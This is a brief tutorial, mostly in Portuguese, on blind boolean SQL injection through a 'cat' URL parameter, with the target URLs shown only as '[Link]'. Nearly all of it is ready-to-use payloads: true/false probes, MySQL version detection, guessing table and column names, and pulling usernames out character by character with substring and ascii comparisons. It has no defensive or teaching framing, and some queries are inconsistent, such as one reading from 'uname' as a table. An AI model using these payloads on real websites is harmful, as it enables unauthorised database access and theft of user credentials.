[Link]
cat=2
se o site n te devolve nenhum erro...
(true and true ) = true
When we specify 1=2
( true and false) = false
Also,
1=1 is true
1=2 is false
[Link] and 1=1
[Link] and 1=2
Agora encontre a versao
[Link] and substring(@@version,1,1)=4
[Link] and substring(@@version,1,1)=5
AgCora Vamos achar Tables, Columns e etc...
Tentativa e erro
[Link] and (SELECT 1 from admin)=1
[Link] and (SELECT 1 from users)=1
descobrir as Colunas
[Link] and (SELECT
substring(concat(1,username),1,1) from users limit 0,1)=1
[Link] and (SELECT
substring(concat(1,uname),1,1) from users limit 0,1)=1
Agora vamos pegar o Data
[Link] and ascii(substring((SELECT
concat(uname) from uname limit 0,1),1,1))>64
[Link] and ascii(substring((SELECT
concat(uname) from uname limit 0,1),1,1))>120
Apos achar pegue a letra.
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1)>'a'
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1) = 'c'
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1) = 'u'
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1) = 'a'
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1) = 'r'
[Link] and substring((SELECT
concat(uname) from users limit 0,1),2,1) = 't'